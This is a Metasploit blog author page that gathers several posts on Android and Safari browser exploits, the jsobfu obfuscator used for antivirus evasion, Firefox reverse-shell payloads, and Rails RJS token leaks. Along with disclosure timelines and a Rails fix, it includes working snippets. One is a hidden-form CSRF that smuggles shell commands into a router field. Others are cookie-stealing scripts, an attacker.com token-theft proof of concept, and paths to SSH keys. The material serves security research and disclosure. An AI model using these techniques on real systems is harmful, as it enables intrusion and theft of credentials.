Skip navigation
All Places > Metasploit > Blog > Authors joev

Metasploit

6 Posts authored by: joev Employee

This post is the ninth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.


It has been a busy year for Android exploitation here at Metasploit. As the makers of the greatest pentesting toolkit on the planet, vulnerabilities that affect over 1 billion active devices greatly interest us, not to mention the amazing independent researchers out in the world, such as Rafay Baloch and long-time contributors Joshua Drake and Tim Wright.  Earlier this year I began researching exploitation vectors into Android that could affect the average user, not expecting to find much. I was in for a surprise… 202px-Android_robot.png


The webview_addjavascriptinterface exploit (link)

 

In early February, I was testing a module that Joshua @jduck Drake wrote for exploiting a known vulnerability in the WebView implementation on devices before 4.2 (this represented about 70% of active devices at the time). The issue affected apps that called addJavascriptInterface to inject a Java object into the Javascipt environment. This feature was commonly used by apps with ad components to render their HTML ads. By abusing Java’s reflection APIs the Javascript code in the ad could run shell commands. jduck’s module implemented an HTTP proxy server that would man-in-the-middle (MITM) the Android device and inject malicious Javascript code into HTTP ads, in order to drop and execute a reverse shell. This worked well but required the attacker to have established a MITM stance on the target.

 

As I tested jduck’s module, I ran into some problems (with the sample app I had built, it turns out). Attempting to debug things a bit I opened the malicious Javascript code in the stock Android browser: to my surprise, I got a shell! I reached out to jduck who verified that indeed many stock browsers were vulnerable - 70% of all devices had a built-in browser that was trivially exploitable. This turned out to be a separate, unreported vulnerability in the AOSP Browser app. I was not the first person to notice this either - later I found references to the bug on wooyun.org.

 

With my discovery in hand I tweaked jduck’s module a bit to turn it into a browser exploit, added it to Browser Autopwn, and pushed it up for review. The initial module had its share of problems - it was not compatible with 4.0 devices, and it merely gained a shell in the context of the user - many Android permissions were lost along the way (like camera). With a lot of help from community contributor timwr, we were able to get a working Android meterpreter session from the exploit that retained the permission level of the browser.


The adobe_reader_pdf_js_interface exploit (link)

 

Some months later, it was reported that the Adobe Reader app for Android exposed injected Java objects to Javascript code running in a PDF. After a bit of frustration, I moved the actual exploit logic into a mixin and was able to get a File format exploit module working that generated a PDF that spawn a Meterpreter session.


addJavascriptInterface lives on

 

In many ways, this exploit continues to be effective. For example, apps with ad views that were built before API level 17 are still vulnerable to jduck’s original MITM vector. A discussion of the issue can be seen here. Eventually Android 4.4.4 was patched to prevent the Object.getClass call from being used, closing the hole for good on new devices.


Android Meterpreter Improvements

 

In late May, community contributor Anwar Mohammed added many improved commands to assist in exfiltrating data from targeted devices. These commands included dump_sms, dump_calllog, and geolocate. Of course, for these commands to work, the Meterpreter process must have the necessary privileges, which depends on the exploited application. For example, some Browser apps would run with webcam permissions, meaning the webcam_snap command was available.


The Browser UXSS Dilemma (link)

 

In September I was reading through some public exploit code when something caught my eye - a trivial UXSS vulnerability in the Android stock browser on versions 4.3 and earlier. Security researcher Rafay Baloch had tried to report the vulnerability to Google with no success. UXSS vulnerabilities happen now and then in pretty much every browser, and allow content served by an attacker to access resources they are not supposed to - like cookies and CSRF tokens for another domain (say, bank.com). What was unique about this vuln was that I was sure I had seen it before. And I had - from a 2010 bug in Chromium (reported upstream to WebKit). It's a little mysterious as to how a 2010 bug affected an OS that shipped in mid–2013. Android’s copy of WebKit was simply not kept up to date with upstream WebKit, and a bunch of security patches were missed. I had read this before (here is a 2011 presentation where ~20 WebKit bugs were found in Android 2.3, just by running through up-to-date WebKit’s layout tests), but had no idea the issue was still this exposed.

 

Since the exploit PoC was already public, I wrapped it into a module with a few sample attacks (UXSS exploitation is incredibly flexible) and we shipped it. After the dust settled, Google responded and backported the patch to the Android 4.3 branch, although downstream adoption from the vendors still lags the upstream 4.3 branch considerably.


The UXSS Dilemma Continues (link)

 

Of course, noticing a 3-year-old, previously disclosed vulnerability in Android 4.3’s WebKit implementation was just the tip of the iceberg. Rafay continued to test WebKit bugs and successfully found five different UXSS vulnerabilities still present in 4.3! And those are just the ones that were found. A complete privacy breakdown. This kind of thing makes me sad, because not so long ago I was stuck on Android 4.3…


Samsung Knox Galaxy RCE (link)

 

In November Quarkslab disclosed an issue affecting Samsung devices with the Knox security component. An arbitrary web page could force the user to install an arbtirary APK as an “update” to Knox. To exploit this, I worked with vulnerability discoverer Andre Molou to write a browser exploit that launched the update process, waited for the apk to be installed, then used an intent URL to launch the apk. The result was a one-click RCE exploit, where the user is essentially bullied into clicking “Install” (see the video).


"Open in new tab" Cookie Database Disclosure (link)

 

If you need another reason not to use the 4.3 browser, Rafay discovered that it was possible to open a file URL from an HTTP page by getting the user to choose “Open in new tab”. By combining this with another vulnerability to open the sqlite cookie database as an HTML document in the browser, the entire cookie database (including HTTPOnly cookies) can be stolen, which means an attacker can steal all of your sessions at once. Rafay has a good writeup of this vulnerability on his blog. Luckily Android had already patched this issue in February 2014, but adoption from the downstream vendors that still ship 4.3 devices is slow to none.


towelroot local exploit (link)

 

Last but not least, afore-mentioned contributor timwr has done some excellent work porting CVE–2014–3153, a privilege escalation bug in the Linux kernel reported by researcher geohot into a local exploit. This would allow Meterpreter sessions on 4.4 to be upgraded to root (“system” uid 0), although the Android permission context is lost. This module is still awaiting review, so keep an eye out for it in upcoming releases.


The Way Forward

 

To escape the WebKit nightmare, users are strongly advised update to 4.4 (Kitkat) or higher as soon as possible. If that’s not possible for you, it’s time to get a new device. Seriously. Even if you were to replace the AOSP browser with the Chrome app (recommended), many, many apps will likely still be vulnerable to attacks on any WebView components embedded in those apps (including addJavascriptInterface RCE for apps compiled before API level 17). On 4.4+, the WebKit implementation of WebView is replaced with (the much more up-to-date) Chromium, and all these problems disappear.

 

Even better, as of 5.0 (Lollipop), the Chromium system library is updated separately from the OS, allowing regular Play store updates to provide out-of-band patches for the native browser and WebView components. Such a bright future. In 2015, we expect to continue and extend our coverage of mobile and embedded devices, so keep an eye on that Pull Request queue for the up and coming exploits that are no doubt waiting to be discovered!

This post is the third in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.

 

Several months ago, Wei sinn3r Chen and I landed some improvements to Metasploit's Javascript obfuscator, jsobfu. Most notably, we moved it out to its own repo and gem, wrapped it in tests, beefed up its AV resilience, and added a command line interface so that it can be used from the CLI outside of metasploit-framework.

 

Obfuscation over the years

jsobfu was written by James egypt Lee and was the first Javascript obfuscator in the framework that used a proper parser (tenderlove's rkelly gem) and AST transformations to obfuscate. It was written to replace the Rex::Exploitation::ObfuscateJS mixin, which was a simpler and less effective regex-based variable renamer (it is still in the Framework to support legacy modules, but jsobfu is the way to go nowadays). Also useful is the Rex::Exploitation::EncryptJS mixin from L4teral, which encodes the malicious Javascript with a random XOR key and wraps it in an eval wrapper. This can be handy when dealing with static/signatured browser AV engines.

 

Module Usage

If you are writing a browser exploit or Javascript post-exploitation module, we have added a convenient mixin for allowing dead-simple obfuscation that can be controlled by the end-user with a datastore option. Your code will look something like:

include Msf::Exploit::JSObfu

def generate_html
  js_obfuscate("trigger_exploit();");
end

Note that the Msf::Exploit::JSObfu mixin is automatically pulled in when you use the BrowserExploitServer.

When the js_obfuscate method is used, the user has control over the level of obfuscation iterations through an advanced datastore option called JsObfuscate:

Name           : JsObfuscate
Current Setting: 0
Description    : Number of times to obfuscate JavaScript

The Gem

The new jsobfu Ruby gem Ruby gem can be installed in a snap:

$ gem install jsobfu

This installs the jsobfu library and adds a global jsobfu shell command that will read Javascript code from stdin and obfuscate it:

$ echo "console.log('Hello World')" | jsobfu

window[(function () { var E="ole",d="ons",f="c"; return f+d+E })()][(String.fromChar
Code(108,111,0147))](String.fromCharCode(0x48,0x65,0154,0154,111,32,0127,0x6f,114,01
54,0x64));

There is also an optional iterations parameter that allows you to obfuscate a specified number of times:

$ echo "console.log('Hello World')" | jsobfu 3

window[(function(){var T=String[(String.fromCharCode(102,114,0x6f,109,0x43,104,97,0x
72,0x43,0157,0x64,0145))](('j'.length*0x39+54),('h'.length*(3*('X'.length*024+8)+9)+
15),(1*('Q'.length*(1*0x40+14)+19)+4)),Z=(function(){var c=String.fromCharCode(0x6e,
0163),I=String.fromCharCode(99,0x6f);return I+c;})();return Z+T;})()][(String[(Strin
g[((function () { var r="de",t="mCharCo",M="f",_="ro"; return M+_+t+r })())]((0x6*0x
f+12),(01*('J'.length*('z'.length*(4*0x9+4)+27)+1)+46),(0x37*'Bw'.length+1),('K'.len
gth*(0x3*0x1a+17)+14),(02*(1*(1*(05*'RIZ'.length+2)+6)+3)+15),('X'.length*('zzJA'.le
ngth*021+15)+21),(0x1*0111+24),('FK'.length*0x2b+28),('z'.length*0x43+0),(03*33+12),
('AZa'.length*('NKY'.length*(02*4+3)+0)+1),(1*0x5c+9)))](('u'.length*(01*('KR'.lengt
h*('av'.length*0x7+3)+5)+19)+(01*('j'.length*056+0)+4)),('z'.length*(String.fromChar
Code(0x67,85,0155,0156,75,84,0114,0x4c)[((function () { var f="ngth",F="e",x="l"; re
turn x+F+f })())]*((function () { var n='m',a='Q'; return a+n })()[(String.fromCharC
ode(0154,101,110,0x67,0x74,104))]*(function () { var w='d',A='tMf'; return A+w })()[
((function () { var yG="ngth",q5="e",J="l"; return J+q5+yG })())]+'SX'.length)+'crFi
Kaq'.length)+(1*026+2)),('p'.length*(06*15+10)+'nnU'.length)))]((function(){var En=S
tring[(String.fromCharCode(0146,0x72,0x6f,0x6d,0103,104,97,0x72,67,0x6f,0144,101))](
(3*041+9),('eHUOhZL'.length*(0x1*(01*9+1)+3)+9)),Y=(function(){var z=(function () {
var Sf='r'; return Sf })(),Z=(function () { var N='o'; return N })(),C=String.fromCh
arCode(0x57);return C+Z+z;})(),k=String[((function () { var b="e",s="od",p="fromCha"
,H="rC"; return p+H+s+b })())](('C'.length*('H'.length*('Ia'.length*0xf+3)+12)+27),(
'G'.length*(01*('Wv'.length*25+10)+27)+14),('Q'.length*077+45),('MXq'.length*30+18),
(1*('B'.length*(0x1*29+20)+24)+38),(0x2*020+0));return k+Y+En;})());

The Implementation

The original approach of jsobfu is simple: obfuscate String, object, and number literals by transforming them into random chunks of executable statements. For example, the statement:

"ABC";

Might be transformed a number of different ways (variables are renamed during transformation):

String.fromCharCode(0101,0x42,0x43);

Or:

(function () { var t="C",_="B",h="A"; return h+_+t })(); 

Or even:

(function(){var k=String.fromCharCode(0103),d=String.fromCharCode(0x42),
  v=(function () { var I="A"; return I })();return v+d+k;})(); 

In order to make this useful in evading AV, we wanted to be sure that every signaturable string in the original code was (possibly) randomized. Because Javascript allows property lookups from a string, it is possible to rewrite all property lookups into small, randomly chosen chunks of code. This makes de-obfuscation rather tedious for a human, since a lot of code is executing and there is no straightforward place to put a hook (as opposed to an eval-based approach).

So if you obfuscate code that performs a lookup:

// input:
var obj = {};
var x = obj.y; 

The lookup will be obfuscated with a randomly chosen String literal transformation:

// obfuscated output:
var K = {};
var X = K[(String.fromCharCode(0x79))]; 

Global lookups must also be dealt with:

// input:
var x = GlobalObject.y;

Global lookups are resolved against the window global, so they too can be obfuscated:

// obfuscated output:
var G = window[String.fromCharCode(0x47,0x6c,0x6f,0142,97,0x6c,79,98,0x6a,
101,99,0x74)][((function () { var i="y"; return i })())]; 

CSRFs -- or Cross-Site Request Forgery vulnerabilities -- occur when a server accepts requests that can be “spoofed” from a site running on a different domain. The attack goes something like this: you, as the victim, are logged in to some web site, like your router configuration page, and have a valid session token. An attacker gets you to click on a link that sends commands to that web site on your behalf, without your knowledge.

 

These vulnerabilities can be especially handy to attackers when trying to exploit something on the the victim's LAN. The most common way to spoof requests is just by sending an XMLHttpRequest (XHR) from a site under the attacker’s control: all browsers will let you send GET/POST with arbitrary data and content-type to a cross-domain endpoint. Of course, due to the Same Origin Policy (SOP), this is a “fire and forget” operation. There is usually no way to read the contents of the cross domain response:

 

var xhr = new XMLHttpRequest;
xhr.open('POST', 'http://192.168.1.1/ping.cgi', false);
xhr.send('?pingstr='+encodeURIComponent('& echo abc123 > /tmp/bin; chmod ..'));

 

The usual advice is to disable Javascript on untrusted sites, either through whitelisting or blacklisting, and usually using something like Mozilla's NoScript add-on. Does this mean NoScript users are immune to CSRF attacks? After all, without Javascript, an arbitrary domain can’t just fire off malicious XMLHttpRequests -- they don't trigger when Javascript is disabled.

 

How does NoScript help prevent CSRF?

 

Unfortunately, NoScript doesn’t actually do much to prevent CSRF. The obvious example is an <img> tag, which does a GET request on the src attribute, regardless of what domain is used. But POST routes are often more desirable, since they are supposed to be used for mutating server state.

 

The typical way an attacker will handle POST CSRFs on NoScript users is with a form that submits data to a cross domain endpoint, and get the user to unknowingly click it. The submit button is styled to take up the entire screen, and voila! You have a 1-click exploit:

 

 

<form method='post' action='http://192.168.1.1/ping.cgi' target='f'>
  <input type='hidden' name="pingstr" value="& echo abc12312..." />
  <input type='submit' value="" style="position:absolute;position:fixed;top:0;left:0;width:1200px;height:1200px;background:#fff;opacity:0;" />
</form>
<iframe name='f' id='f' style='position:absolute;left:-500px;top:-500px;height:1px;width:1px'></iframe>

 

So when the user clicks anywhere on the page, they submit the invisible form. The form’s target attribute is set to a hidden iframe, so that the unknown form submission does not even navigate the top-level page, so the user has no idea that a request just happened (this is handy for phishing).

 

Note: if the pingstr parameter looks familiar, you might have seen it in exploit/linux/http/linksys_wrt110_cmd_exec. Many of Metasploit’s router exploits can be triggered via CSRF.

 

Now, how to get the user to click the page? There are a million ways to do this, but one easy and reliable trick is to just put a “Redirecting…” link at the top of the page. Eventually the user will get tired of waiting for the redirect to load and will click the link (I know I do this at least).

 

What about non-HTTP protocols?

 

It is known that the UPnP interfaces in certain routers will take SOAP requests that can be easily spoofed, which can be abused to forward internal ports from the LAN on to the Internet. With AJAX, arbitrary data can be inserted into a POST request, by calling ajax.send(data).

 

But if you try and use the <form> vector, you will find that you cannot send arbitrary data after the request headers. You can set enctype="text/plain" on the form, which prevent the parameters from being formatted and URL encoded:

 

<form method='post' enctype='text/plain' action='http://192.168.1.1/upnp.cgi'>
  <input type='hidden' name="blah" value="<SOAP document...>" />
  <input type='submit' value="submit" style="position:fixed;top:0;left:0;width:1200px;height:1200px;background:#000;opacity:0;" />
</form>

 

But there will always be some leading garbage on the request (in this instance, the "blah=" string):

 

POST /ping.cgi HTTP/1.1
Host: 192.168.0.5:5000
Connection: keep-alive
Content-Length: 23
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://attacker.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36
Content-Type: text/plain
Referer: http://attacker.com
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8

blah=<SOAP document...>

 

Depending on the protocol, you can often find ways to turn that leading garbage into something that is ignored by the server, like an XML comment:

 

<input type='hidden' name="<!--" value="--><SOAP document...>" />

POST /ping.cgi HTTP/1.1
Host: 192.168.0.5:5000
Connection: keep-alive
Content-Length: 26
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://attacker.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36
Content-Type: text/plain
Referer: http://fiddle.jshell.net/_display/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8

<!--=--><SOAP document...>

 

Finally, one interesting fact of <noscript> CSRF exploits is that they can often be triggered straight from the user’s web-based email. Most webmail applications will alert the user when the submit button is clicked, often with a message along the lines of “You are submitting data to an external page, are you sure you want to do this?”. One accidental “OK”, and the victim’s router/webapp/internal device is owned.

 

Now, how can a NoScript user prevent this from happening? The short answer for now is "don't click anything on the Internet". Not terribly practical. Of course, you can inspect the source of every page you visit, just like you already inspect the source code of every software application you intend to install. Right, nobody actually does that -- Javascript obfuscation alone makes this basically impossible. So, to reiterate in TL;DR format:

 

In 2014, default NoScript techniques do not actually protect you against CSRF.

 

Sorry for maybe ruining your day. If you have any advice as to how to practically resolve this problem, feel free to comment below.

 

Update: NoScript ABE allows you to blacklist certain types of requests

 

Big thanks to commentor @ma1 for pointing out the ABE component of NoScript, available in NoScript Preferences -> Advanced -> ABE. ABE allows you to define which origins are allowed to communicate to one another. By default, requests from non-LAN sites to a host on the LAN are blocked. My testing on this issue was flawed and my initial results were incorrect. It would be interesting to see how ABE stands up to a DNS rebinding attack into a LAN. However, CSRFs are still very possible in noscript across other (non-LAN) origins, or from a "rogue" LAN host into another LAN host, unless you explicitly create rules to prevent this.

Those of you with a keen eye on metasploit-framework/master will notice the addition of three new payloads:

 

  • firefox/shell_reverse_tcp
  • firefox/shell_bind_tcp
  • firefox/exec

 

These are Javascript payloads meant for executing in a privileged Javascript context inside of Firefox. By calling certain native functions not meant to be exposed to ordinary web content, a classic TCP command shell can be opened. To a pentester, these payloads are useful for popping platform-independent in-process shells on a remote Firefox instance.

 

How does it work?

 

Firefox contains a Javascript API called XPCOM which consists of privileged native methods primarily implemented as C++ bindings. This API is commonly invoked by Firefox Addons and is also used by the "glue" code running inside the Firefox browser itself. If you can find a way to run Javascript code with access to XPCOM - either by convincing the user to install an untrusted addon or by finding a privilege escalation exploit in Firefox itself - you can open a raw TCP socket and run executables with Javascript. By using some shell redirection, we can get a working command shell connection back to a metasploit instance. We currently have three Firefox privilege escalation exploits in the framework:

 

  • exploit/multi/browser/firefox_svg_plugin (Firefox 17.* + Flash)
  • exploit/multi/browser/firefox_proto_crmfrequest (Firefox 5-15.*)
  • exploit/multi/browser/firefox_xpi_bootstrapped_addon (all versions)

 

Why is it better?

 

The Javascript payloads are able to maintain shell sessions without dropping a native exe to the disk, which makes their presence significantly harder to detect. Another immediate benefit is that our existing Firefox exploits can now be included in BrowserAutopwn, since the target is static. Additionally, since the payload still has access to the Firefox Javascript environment, we can just as easily eval Javascript code, which makes things like cookie extraction or XSS attacks very easy. As an example I wrote a post module, post/firefox/gather/xss. To use it, simply specify the URL you want to run under and specify a SCRIPT option. The SCRIPT will be eval()'d by the payload and any results will be printed:

 

msf> use post/firefox/gather/xss
msf> set SESSION 1
msf> set URL https://rapid7.com
msf> set SCRIPT "send(document.cookie);"
[+] id=f612814001be908ds79f

 

Or, with a slightly more advanced script which sends a tweet in the target browser:

 

msf> set URL https://twitter.com
msf> set SCRIPT "$('.tweet-box').find('.tweet-box').focus().text('Metasploit Courtesy Tweet').parents('form').find('.tweet-button button').click(); return 'sent';"
[+] sent

 

Note: You can use return or send to send back data, but you can only send once.

 

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

This post is the fifth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

Several weeks ago, Egor Homakov wrote a blog post pointing out a common info leak vulnerability in many Rails apps that utilize Remote JavaScript. The attack vector and implications can be hard to wrap your head around, so in this post I'll explain how the vulnerability occurs and how to exploit it.

What is Remote Javascript?

Remote JavaScript (RJS) was a pattern prescribed by Rails < 2 to implement dynamic web sites. In RJS the user-facing parts of a website (HTML and JS) act as a "dumb client" for the server: when dynamic action is needed, the client calls a JavaScript helper that sends a request to the server. The server then performs the necessary logic and generates and responds with JavaScript code, which is sent back to the client and eval()'d.

The RJS approach has some advantages, as rails creator dhh points out in a recent blog post. However, suffice it to say that RJS breaks down as soon as you need complex client-side code, and a server API that responds with UI-dependent JavaScript is not very reusable. So Rails mostly has moved away from the RJS approach (JSON APIs and client-heavy stacks are the new direction), but still supports RJS out of the box.

So what's the problem?

Unfortunately, RJS is insecure by default. Imagine a developer on a Rails app that uses RJS is asked to make an Ajax-based login pop-up page. Following the RJS pattern, the developer would write some JavaScript that, when the "Login" link is clicked, asks the remote server what to do. The developer would add a controller action to the Rails app that responds with the JavaScript required to show the login form:

class Dashboard
  def login_form
    respond_to do |format|
      format.js do
        render :partial => 'show_login_form'
      end
    end
  end
end

Following the RJS pattern, the show_login_form.js.erb partial returns some JavaScript code to update the login form container:

$("#login").show().html("<%= escape_javascript(render :partial => 'login/form')")

Which, when rendered, produces code such as:

$("#login").show().html("
  <form action='/login' method='POST'
>
  <input type='hidden' name='auth_token' value='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'>
  <table>
      <tr>
          <td>Name</td>
          <td><input type='text'></td>
      </tr>
      <tr>
          <td>Password</td>
          <td><input type='password'></td>
      </tr>
  </table>
</input>")

Now imagine user Tom is logged into the Rails app (which we'll say is served from railsapp.com). An unrelated website attacker.com might serve Tom the following code:

<html>
  <body>
    <script src='https://railsapp.com/dashboard/login.js'></script>
  </body>
</html>

Because <script> tags are allowed to be cross-origin (this is useful for CDNs), Tom's browser happily sends a GET request to railsapp.com, attaching his railsapp.com cookie. The RJS script is generated and returned to Tom, and his browser executes it. By stubbing out the necessary functions in the global scope, attacker.com can easily gain access to the string of HTML that is sent back:

<html>
  <body>
    <script>
      function $() {
        return {
          show: function() {
            return {
              html: function(str) {
                alert(str);
              }
            };
          }
        };
      }
    </script>
    <script src='http://railsapp.com/dashboard/login.js'></script>
  </body>
</html>

And now attacker.com can easily parse out Tom's CSRF auth token and start issuing malicious CSRF requests to railsapp.com. This means that attacker.com can submit any form in railsapp.com. The same technique can be used to leak other information besides auth token, including logged-in status, account name, etc.

As a pentester, how can I spot this bug while auditing a web app?

It is pretty easy to find this vulnerability. Click around a while in the web app and keep Web Inspector's Network tab open. Look for .js requests sent sometime after a page load. Any response to a .js request that includes private info (auth token, user ID, existence of a login session) can be "hijacked" using an exploit similar to the above PoC.

How can I fix this in my web app?

The fix prescribed by Rails is to go through your code and add request.xhr? checks to every controller action that uses RJS. This is annoying, and is a big pain if you have a large existing code base that needs patching. Since Metasploit Pro was affected by the vulnerability, we needed a patch quick. So I present our solution to the vulnerability - we now check all .js requests to ensure that the REFERER header is present and correct. The only downside here is that your app will break for users behind proxies that strip referers. Additionally, this patch will not work for you if you plan on serving cross-domain JavaScript (e.g. for a hosted JavaScript SDK). If you can stomach that sacrifice, here is a Rails initializer that fixes the security hole. Drop it in ui/config/initializers of your Rails app:

# This patch adds a before_filter to all controllers that prevents xdomain
# .js requests from being rendered successfully.

module RemoteJavascriptRefererCheck
  extend ActiveSupport::Concern

  included do
    require 'uri'
    before_filter :check_rjs_referer, :if => ->(controller) { controller.request.format.js? }
  end

  # prevent generated rjs scripts from being exfiltrated by remote sites
  # see http://homakov.blogspot.com/2013/11/rjs-leaking-vulnerability-in-multiple.html
  def check_rjs_referer
    referer_uri = begin
      URI.parse(request.env["HTTP_REFERER"])
    rescue URI::InvalidURIError
      nil
    end

    # if request comes from a cross domain document
    if referer_uri.blank? or
      (request.host.present? and referer_uri.host != request.host) or
      (request.port.present? and referer_uri.port != request.port)

      head :unauthorized
    end
  end
end

# shove the check into the base controller so it gets hit on every route
ApplicationController.class_eval do
  include RemoteJavascriptRefererCheck
end

And your server will now return a 500 error to any RJS request that does not contain the correct REFERER. A gist is available here, just download and place in $RAILS_ROOT/config/initializers.

tldr: For now, don't open .webarchive files, and check the Metasploit module, Apple Safari .webarchive File Format UXSS

 

Safari's webarchive format saves all the resources in a web page - images, scripts, stylesheets - into a single file. A flaw exists in the security model behind webarchives that allows us to execute script in the context of any domain (a Universal Cross-site Scripting bug). In order to exploit this vulnerability, an attacker must somehow deliver the webarchive file to the victim and have the victim manually open it1(e.g. through email or a forced download), after ignoring a potential "this content was downloaded from a webpage" warning message2.

 

It is easy to reproduce this vulnerability on any Safari browser: Simply go to https://browserscan.rapid7.com/ (or any website that uses cookies), and select File -> Save As... and save the webarchive to your ~/Desktop as metasploit.webarchive. Now convert it from a binary plist to an XML document (on OSX):

 

plutil -convert xml1 -o ~/Desktop/metasploit_xml.webarchive ~/Desktop/metasploit.webarchive

 

Open up ~/Desktop/metasploit_xml.webarchive in your favorite text editor. Paste the following line (base64 for <script>alert(document.cookie)</script>) at the top of the first large base64 block.

 

PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+

 

 

 

 

Now save the file and double click it from Finder to open in Safari:

 

 

 

 

You will see your browserscan.rapid7.com cookies in an alert box. Using this same approach, an attacker can send you crafted webarchives that, upon being opened by the user, will send cookies and saved passwords back to the attacker. By modifying the WebResourceURL key, we can write script that executes in the context of any domain, which is why this counts as a UXSS bug.

 

Unfortunately, Apple has labeled this a "wontfix" since the webarchives must be downloaded and manually opened by the client. This is a potentially dangerous decision, since a user expects better security around the confidential details stored in the browser, and since the webarchive format is otherwise quite useful. Also, not fixing this leaves only the browser's file:// URL redirect protection, which has been bypassed many times in the past.

 

Let’s see how we can abuse this vulnerability by attempting to attack browserscan.rapid7.com:

 

Attack Vector #1: Steal the user's cookies. Straightforward. In the context of https://browserscan.rapid7.com/, simply send the attacker back the `document.cookie`. HTTP-only cookies make this attack vector far less useful.

 

Attack Vector #2: Steal CSRF tokens. Force the browser to perform an AJAX fetch of https://browserscan.rapid7.com and send the response header and body back to the attacker.

 

Attack Vector #3: Steal local files. Since .webarchives must be run in the file:// URL scheme, we can fetch the contents of local files by placing AJAX requests to file:// URLs3. Unfortunately, the tilde (~) cannot be used in file:// URLs, so unless we know the user’s account name we will not be able to access the user’s home directory. However this is easy to work around by fetching and parsing a few known system logs4 from there, the usernames can be parsed out and the attacker can start stealing known local file paths (like /Users/username/.ssh/id_rsa) and can even "crawl" for sensitive user files by recursively parsing .DS_Store files in predictable locations (OSX only)5.

 

Attack Vector #4: Steal saved form passwords. Inject a javascript snippet that, when the page is loaded, dynamically creates an iframe to a page on an external domain that contains a form (probably a login form). After waiting a moment for Safari's password autofill to kick in, the script then reads the values of all the input fields in the DOM and sends it back to the attacker6.

 

Attack Vector #5: Store poisoned javascript in the user's cache. This allows for installing “viruses” like persisted keyloggers on specific sites... VERY BAD! An attacker can store javascript in the user's cache that is run everytime the user visits https://browserscan.rapid7.com/ or any other page under browserscan.rapid7.com that references the poisoned javascript. Many popular websites cache their script assets to conserve bandwidth. In a nightmare scenario, the user could be typing emails into a "bugged" webmail, social media, or chat application for years before either 1) he clears his cache, or 2) the cached version in his browser is expired. Other useful assets to poison are CDN-hosted open-source JS libs like google's hosted jquery, since these are used throughout millions of different domains.

 

Want to try for yourself? I've written a Metasploit module that can generate a malicious .webarchive that discretely carries out all of the above attacks on a user-specified list of URLs. It then runs a listener that prints stolen data on your msfconsole.

 

Unless otherwise noted, all of these vectors are applicable on all versions of Safari on OSX and Windows.

 

Disclosure Timeline

 

DateDescription
2013-02-22Initial discovery by Joe Vennix, Metasploit Products Developer
2013-02-22Disclosure to Apple via bugreport.apple.com
2013-03-01Re-disclosed to Apple via bugreport.apple.com
2013-03-11Disclosure to CERT/CC
2013-03-15Response from CERT/CC and Apple on VU#460100
2013-04-25Public Disclosure and Metasploit module published

 

 


 

 

 

Footnotes
  1. Safari only allows webarchives to be opened from file:// URLs; otherwise it will simply download the file.
  2. Alternatively, if the attacker can find a bypass for Safari's file:// URL redirection protection (Webkit prevents scripts or HTTP redirects from navigating the user to file:// URLs from a normal https?:// page), he could redirect the user to a file URL of a .webarchive that is hosted at an absolute location (this can be achieved by forcing the user to mount an anonymous FTP share (osx only), like in our Safari file-policy exploit). Such bypasses are known to exist in Safari up to 6.0.
  3. Unlike Chrome, Safari allows an HTML document served under the file:// protocol to access *any* file available to the user on the harddrive
  4. file:///var/log/install.log
    file:///var/log/system.log
    file:///var/log/secure.log

  5. file:///Users/username/Documents/.DS_Store
    file:///Users/username/Pictures/.DS_Store
    file:///Users/username/Desktop/.DS_Store

  6. X-Frame-Options can be used to disable loading a page in an iframe, but does not necessarily prevent against UXSS attacks stealing saved passwords. You can always attempt to pop open a new window to render the login page in. If popups are blocked, Flash can be used to trivially bypass the blocker, otherwise you can coerce the user to click a link.

Filter Blog

By date: By tag: